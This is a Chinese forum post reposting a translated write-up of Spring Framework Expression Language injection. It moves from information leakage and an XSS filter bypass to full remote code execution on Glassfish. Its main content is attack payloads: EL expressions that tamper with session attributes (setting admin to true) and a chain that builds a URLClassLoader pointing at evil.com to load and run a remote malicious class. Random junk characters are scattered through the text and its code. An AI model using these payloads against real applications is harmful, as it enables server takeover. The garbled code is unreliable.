找回密码
 立即注册
查看: 3001|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Remote Code with
% _) s7 d& h4 o% T, g5 bExpression Language Injection
' Z5 l$ u# ]* X' @" A( q' PSpring Framework脆弱性—DanAmodio
9 I3 O& ]0 O: b0 g9 ~& u" Q全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
: E' g; |8 ^. [6 t0 T1 A4 u可能会存在风险。- u8 I! }. G& ]5 @" f. [* b
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的- y: Z; l( r" Q7 x1 B
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
  @- `9 I0 N$ y' X以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
9 j* j* F6 H/ K: T  ^3 ^以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前+ Q* G6 q: I8 e) U' {& D
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。3 k9 x- C/ a: W1 h/ ~6 O; Y
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但9 `* n. Q) H# b; g. K+ E% |
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
( K' f' d6 \2 _( ~& h* P本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
/ {" [  S' G7 K这些版本不支持禁用double EL resolution.+ m8 g+ z9 ]& e1 S' x
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含. X* G3 s, M$ D: A3 A3 Y) L, U
EL2.2容器上可能进行远程代码执行。
1 s& U" ]; s8 R) c( }这是一个原始信息泄露的攻击例子:! N2 ?) N; J0 K9 {
请求:% z4 q5 o9 S1 v3 B* W
ttp://vulnerable.com/foo?message=${applicationScope}  w% t. Q; {; B' u
到达以下内容页面:' W, N' X# v% A# @5 T# N1 g
结果将输出一些包含内部服务器信息calsspath 和本地工作目录) Z+ D% z8 F! S% |3 `
你也可以做一些其他事情,如这样:
8 S4 ^0 w& \3 y: D( [  \" S${9999+1}
3 K" x/ g, |2 S3 C  Y还可以访问session 对象和beans
9 l2 D8 w% _) a7 F8 e${employee.lastName}1 a; j5 `7 O7 U
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是& F/ d1 h3 Q' Y+ I' x+ n. a' k! K
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
$ U. {! {  D" j* W9 E西,比如XSS.  g; W! T* S5 I5 }5 P" a. s
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
8 |3 Z7 M2 c- M% t2 t突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
' n- }% I( U# D/ ]呢?”" L, |6 r& a0 W5 `- F
因此,我尝试巳缦拢�& a! g/ o( M/ k9 [' z  K. \( X
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP( M2 b. S5 S7 ]' c) y
P7 S3 V, N4 n; `+ I' \
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
  D# |/ S% {0 R1 i6 C8 K: r  p* L回的文本被插入进了spring:message 标签。4 C8 V* _8 @1 Q6 S0 _0 J
这里是一个最终绕过过滤的实例:# m8 \0 t# J+ J1 Z- y3 a4 h  J
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ8 k% d$ Z- ^8 M& N
它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为9 Z. t, g* ?5 \6 |
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?8 C% b% R6 z" G) R  B
经过一番研究,我学习到EL2.2 增加了方法调用。5 x4 d# H$ x. t/ Y
我写了一个快速测试应用程序代码并且检测一些功能
" s: X. P0 |- ~${pageContext.request.getSession().setAttribute(“account”,”123456″)}
7 |( W6 E0 O; Q8 _: f${pageContext.request.getSession().setAttribute(“admin”,true)}* X& I# t% o+ G% j- \9 j( H
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的7 Y2 B) L' [% r. j
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?  ~4 e0 K) c/ h* s, T5 S
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
' {! J* u4 L& I“, 1234)}
4 l* E. W* B- E$ t, X( g# K. y${“”.getClass().forName(“java.lang.Runtime”)}% v; l* ~! r: p
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
7 {, e9 V) S& n9 Q& f* a$ y可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函$ g; X) v4 ^: v. O
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
9 O3 Z* n8 I" L' b7 H一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
1 [" @; K& e  X方法签名invoke(Object obj, Object„ args)
: C$ v/ I/ q: e4 K5 E) X+ ^: O9 kJeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问3 A5 Z1 o# ^6 k
题,以让它可以工作起来。: ]! z; a6 A/ l. Z  t, }: k
漏洞利用:
3 k6 }/ l' R2 ]5 G4 j6 `我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我+ F7 v+ M9 X+ v
希望你们中的一些JAVA奇才告诉我我是如此的可笑。
1 [5 ?& `5 R8 [- Y+ N$ w' ^这里有一些我试过的失败的用例,为了试图让它工作的用例:
' r2 ], k8 j; f9 o7 N: |* B$ c 写文件到文件系统
# z) t/ B) V/ S0 |3 c# J9 f 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
. C7 a: }# B' Y" M7 ~8 B2 t5 S我认为这些可以很好的工作,但是我不能找到合适的类来载入。7 V: Q6 A- n5 M7 z- Q% s8 H
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}% s- {; T4 D) b& ]0 s
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:2 h7 g: c  A* Z+ z1 E
org.springframework.expression.spel.standard.SpelExpressionParser not found, j6 R+ Q/ g- D2 n7 \. S# s4 s( l
by* C6 [1 p5 E; k' m/ f
org.glassfish.web.javax.servlet.jsp [194].
/ h) C: D# R+ o6 T# V 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
8 @4 d3 K  y( ]7 ^& W6 K 利用反射来创建一个新的Runtime(and watch the world burn)
. G: j4 y; H! M) q- n${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName5 J0 ]; j/ M+ A0 b
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
9 W# v( K1 d2 U" }. t, z7 m${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
+ T" m& K8 ]# u 使用java.lang.ProcessBuilder
7 ^, G' e3 w# E9 [8 y 用表达式语言来评估表达式语言9 [% ?* @) N' e$ V" a* ?4 {
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.4 A% k! l) O2 L& K$ g
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
/ ]4 G9 |9 v+ T- b- t“,”".getClass(),null)}7 D5 N0 l# L4 N' ^+ \! D: n
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)4 T, U0 a. S1 N" d8 O$ s/ \- K
我在使用一个空数组通过Method.invoke()时失败了很多次
- X; W" w  A/ O* g9 k“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo8 f/ ?9 k7 o- g8 F; V1 V8 z
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A1 Y: k: [' o3 U) Z; k: t: t
rrayList”).newInstance().toArray())) O4 ]/ u- P$ P' X
java.lang.IllegalArgumentException: wrong number of arguments
( L' Q& l* k) K* P& A最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可/ }3 S& @  d5 ~7 r4 Q* a" Z2 p( Q
以创建一个恶意class文件并且指向类装载器.
& g: D0 C1 H! Y! T我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
  {8 V9 P) A4 ]. |" [% }) qpublic class Malicious {2 v3 e5 F' \; v' K6 N7 ^
public Malicious() {
) m. ]( u% z" H: F, P, k) itry {
1 Y$ w0 ?5 y; d4 s: X3 A, mjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac, H- h0 U. ^7 S7 ]& Y
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
9 i& J3 Y/ p8 f3 W9 u$ I+ c} catch (Exception e) {
1 w3 R5 x) x* A: t}8 {2 K: A, l8 J9 W  ^: `' a
}$ e' o5 X6 G7 X, X  j1 ~/ O
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回& L* i% \# L/ z+ I9 N, W" r
话中,因此它可以被使用.
; O' d7 e( O6 u$ h* o, T! R- g${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName) N4 d' T3 \2 i8 l1 U
(“java.util.ArrayList”).newInstance())}
; e' [% K) P$ n' P  t1 i6 k1 RURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
8 S: ?2 A0 |2 b0 Z4 e一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
( _+ y7 _) T( h6 sgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
' {4 v$ ]3 E3 ~) ~我们可以调用的create(string)方法,然后转换对一个URL对象。
; j9 x% @' p; r6 c: j" |${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh' e! N: D3 R" B/ d
ere/malicious/classfile/is/located/”).toURL())}0 G2 ?* Q6 }) E' a5 R9 q( H, i
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,' Z8 B( o+ O* s7 S3 t6 p8 h
恶意类文件被装载并创建,触发远程代码./ s; Y7 n; |2 s9 f- y+ d
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte! `- |$ [% r' D. ^+ J$ {& x4 o% U
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().* ~8 i& N9 }" E" D, x
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
9 b4 i9 w4 g/ f% w1 V()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表